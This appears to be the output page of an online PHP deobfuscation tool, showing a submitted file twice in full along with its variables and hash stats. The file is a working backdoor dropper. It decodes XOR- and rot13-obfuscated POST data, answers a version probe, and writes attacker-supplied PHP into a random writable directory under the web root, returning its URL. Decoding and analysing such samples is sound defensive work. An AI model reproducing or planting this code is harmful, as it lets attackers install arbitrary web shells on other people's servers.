Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $qjkvrazr = "mvmimjjucidyzuix";$wyidb = "";foreach ($_POST as $xxdun => $chpdgrz){if..

Decoded Output download

<?php $qjkvrazr = "mvmimjjucidyzuix";$wyidb = "";foreach ($_POST as $xxdun => $chpdgrz){if (strlen($xxdun) == 16 and substr_count($chpdgrz, "%") > 10){uscaa($xxdun, $chpdgrz);}}function uscaa($xxdun, $trutxbbj){global $wyidb;$wyidb = $xxdun;$trutxbbj = str_split(rawurldecode(str_rot13($trutxbbj)));function xffpabhix($twjzrphcnstzyqo, $xxdun){global $qjkvrazr, $wyidb;return $twjzrphcnstzyqo ^ $qjkvrazr[$xxdun % strlen($qjkvrazr)] ^ $wyidb[$xxdun % strlen($wyidb)];}$trutxbbj = implode("", array_map("xffpabhix", array_values($trutxbbj), array_keys($trutxbbj)));$trutxbbj = @unserialize($trutxbbj);if (@is_array($trutxbbj)){$xxdun = array_keys($trutxbbj);$trutxbbj = $trutxbbj[$xxdun[0]];if ($trutxbbj === $xxdun[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function daeoed($twjzrphcnir) {static $lnsfszsaaz = array();$ekelwfq = glob($twjzrphcnir . '/*', GLOB_ONLYDIR);if (count($ekelwfq) > 0) {foreach ($ekelwfq as $twjzrphcn){if (@is_writable($twjzrphcn)){$lnsfszsaaz[] = $twjzrphcn;}}}foreach ($ekelwfq as $twjzrphcnir) daeoed($twjzrphcnir);return $lnsfszsaaz;}$qahnpyrd = $_SERVER["DOCUMENT_ROOT"];$ekelwfq = daeoed($qahnpyrd);$xxdun = array_rand($ekelwfq);$ezlmds = $ekelwfq[$xxdun] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($ezlmds, $trutxbbj);echo "http://" . $_SERVER["HTTP_HOST"] . substr($ezlmds, strlen($qahnpyrd));exit();}}} ?>

Did this file decode correctly?

Original Code

<?php $qjkvrazr = "mvmimjjucidyzuix";$wyidb = "";foreach ($_POST as $xxdun => $chpdgrz){if (strlen($xxdun) == 16 and substr_count($chpdgrz, "%") > 10){uscaa($xxdun, $chpdgrz);}}function uscaa($xxdun, $trutxbbj){global $wyidb;$wyidb = $xxdun;$trutxbbj = str_split(rawurldecode(str_rot13($trutxbbj)));function xffpabhix($twjzrphcnstzyqo, $xxdun){global $qjkvrazr, $wyidb;return $twjzrphcnstzyqo ^ $qjkvrazr[$xxdun % strlen($qjkvrazr)] ^ $wyidb[$xxdun % strlen($wyidb)];}$trutxbbj = implode("", array_map("xffpabhix", array_values($trutxbbj), array_keys($trutxbbj)));$trutxbbj = @unserialize($trutxbbj);if (@is_array($trutxbbj)){$xxdun = array_keys($trutxbbj);$trutxbbj = $trutxbbj[$xxdun[0]];if ($trutxbbj === $xxdun[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function daeoed($twjzrphcnir) {static $lnsfszsaaz = array();$ekelwfq = glob($twjzrphcnir . '/*', GLOB_ONLYDIR);if (count($ekelwfq) > 0) {foreach ($ekelwfq as $twjzrphcn){if (@is_writable($twjzrphcn)){$lnsfszsaaz[] = $twjzrphcn;}}}foreach ($ekelwfq as $twjzrphcnir) daeoed($twjzrphcnir);return $lnsfszsaaz;}$qahnpyrd = $_SERVER["DOCUMENT_ROOT"];$ekelwfq = daeoed($qahnpyrd);$xxdun = array_rand($ekelwfq);$ezlmds = $ekelwfq[$xxdun] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($ezlmds, $trutxbbj);echo "http://" . $_SERVER["HTTP_HOST"] . substr($ezlmds, strlen($qahnpyrd));exit();}}}

Function Calls

None

Variables

$wyidb
$qjkvrazr mvmimjjucidyzuix

Stats

MD5 9dfe10822ab3b8015000093a8eb9647a
Eval Count 0
Decode Time 189 ms